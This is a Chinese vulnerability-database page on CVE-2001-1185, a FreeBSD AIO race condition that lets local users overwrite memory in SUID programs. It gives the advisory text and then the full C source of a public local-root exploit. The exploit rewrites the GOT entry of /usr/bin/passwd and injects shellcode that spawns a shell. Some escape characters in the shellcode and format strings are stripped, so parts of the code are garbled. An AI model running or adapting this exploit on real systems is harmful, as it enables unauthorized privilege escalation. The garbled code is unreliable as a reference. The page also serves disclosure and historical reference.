FreeBSD “AIO”库交叉进程重写内存漏洞
漏洞ID | 1106534 | 漏洞类型 | 未知 |
发布时间 | 2001-12-10 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2001-1185 |
CNNVD-ID | CNNVD-200112-088 |
漏洞平台 | FreeBSD | CVSS评分 | 6.2 |
|漏洞来源
|漏洞详情
aio.h是POSIX标准的异步I/O的实现,如果要使FreeBSD支持AIO的话,只需要在编译内核时打开”VFS_AIO”选项,缺省情况下该选项是关闭的。aio.h头文件存在一个竞争条件安全漏洞,允许本地攻击者提升权限。在某种条件下,对一个输入的套接口未决的读操作可能导致最终调用”execve”,最后读操作继续,并且对新的进程的内存空间进行写操作。本地用户如果能够创建并运行一个调用SUID程序的恶意程序,就可能用任意数据重写SUID程序的任意内存位置,这就可能导致提升权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/3661/info
aio.h is a library implementing the POSIX standard for asynchronous I/O. Support for AIO may be enabled in FreeBSD by compiling the kernel with the VFS_AIO option. This option is not enabled in the default kernel configuration.
Under some circumstances, pending reads from an input socket may persist through a call to execve. Eventually the read will continue, and write to the memory space of the new process.
If a local user is able to create and execute a malicious program calling a suid program, it may be possible to overwrite arbitrary memory locations in the suid process with arbitrary data. This could immediately lead to escalated privileges.
/* tao - FreeBSD Local AIO Exploit
*
* http://elysium.soniq.net/dr/tao/tao.html
*
* 4.4-STABLE is vulnerable up to at least 28th October.
*
* (C) David Rufino <[email protected]> 2001
* All Rights Reserved.
*
***************************************************************************
* bug found 13/07/01
*
* Any scheduled AIO read/writes will generally persist through an execve.
*
* "options VFS_AIO" must be in your kernel config, which is not enabled
* by default.
*
* It may be interesting to note that the FreeBSD team have known about this
* bug for a long time. Just take a look at 'LINT'.
*
* get the GOT address of exit, from any suid bin, by doing:
* $ objdump --dynamic-reloc bin | grep exit
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <aio.h>
char code[]=
"x31xc0x50x50xb0x17xcdx80"
"x6ax3bx58x99x52x89xe3x68x6ex2fx73x68"
"x68x2fx2fx62x69x60x5ex5excdx80";
unsigned long GOT = 0x0804fe20;
char *execbin = "/usr/bin/passwd";
int
main (argc, argv)
int argc;
char **argv;
{
int fds[2], sdf[2];
struct aiocb cb, cb2;
char buf[128], d;
if ((d = getopt (argc, argv, "g:e:")) != -1) {
switch (d) {
case 'g':
GOT = strtoul (optarg, NULL, 16);
break;
case 'e':
execbin = optarg;
break;
}
}
printf ("got address: %08lxn", GOT);
printf ("executable: %sn", execbin);
/*
* pipes are treated differently to sockets, with sockets the
* aiod gets notifyed, whereas with pipes the aiod starts
* immediately blocking in fo_read. This is a problem because
* after the execve the aiod is still using the old vmspace struct
* if you use pipes, which means the data doesnt actually get copied
*/
if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (fork() != 0) {
close (fds[0]);
close (sdf[0]);
memset (&cb, 0, sizeof(cb));
memset (&cb2, 0, sizeof(cb2));
cb.aio_fildes = fds[1];
cb.aio_offset = 0;
cb.aio_buf = (void *)GOT;
cb.aio_nbytes = 4;
cb.aio_sigevent.sigev_notify = SIGEV_NONE;
cb2.aio_fildes = sdf[1];
cb2.aio_offset = 0;
cb2.aio_buf = (void *)0xbfbfff80;
cb2.aio_nbytes = sizeof(code);
cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
if (aio_read (&cb2) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
if (aio_read (&cb) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
execl (execbin, "test", NULL);
} else {
close(fds[1]);
close(sdf[1]);
sleep(2);
printf ("writingn");
write (sdf[0], code, sizeof(code));
*(unsigned int *)buf = 0xbfbfff80;
write (fds[0], buf, 4);
}
return (EXIT_SUCCESS);
}
/*
* vim: ts=8
*/
|参考资料
来源:BID
名称:3661
链接:http://www.securityfocus.com/bid/3661
来源:BUGTRAQ
名称:20011210AIOvulnerability
链接:http://www.securityfocus.com/archive/1/244583
来源:XF
名称:bsd-aio-overwrite-memory(7693)
链接:http://www.iss.net/security_center/static/7693.php
来源:OSVDB
名称:2001
链接:http://www.osvdb.org/2001
相关推荐: Siteman User Database Privilege Escalation Vulnerability
Siteman User Database Privilege Escalation Vulnerability 漏洞ID 1097209 漏洞类型 Input Validation Error 发布时间 2005-01-19 更新时间 2005-01-19 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666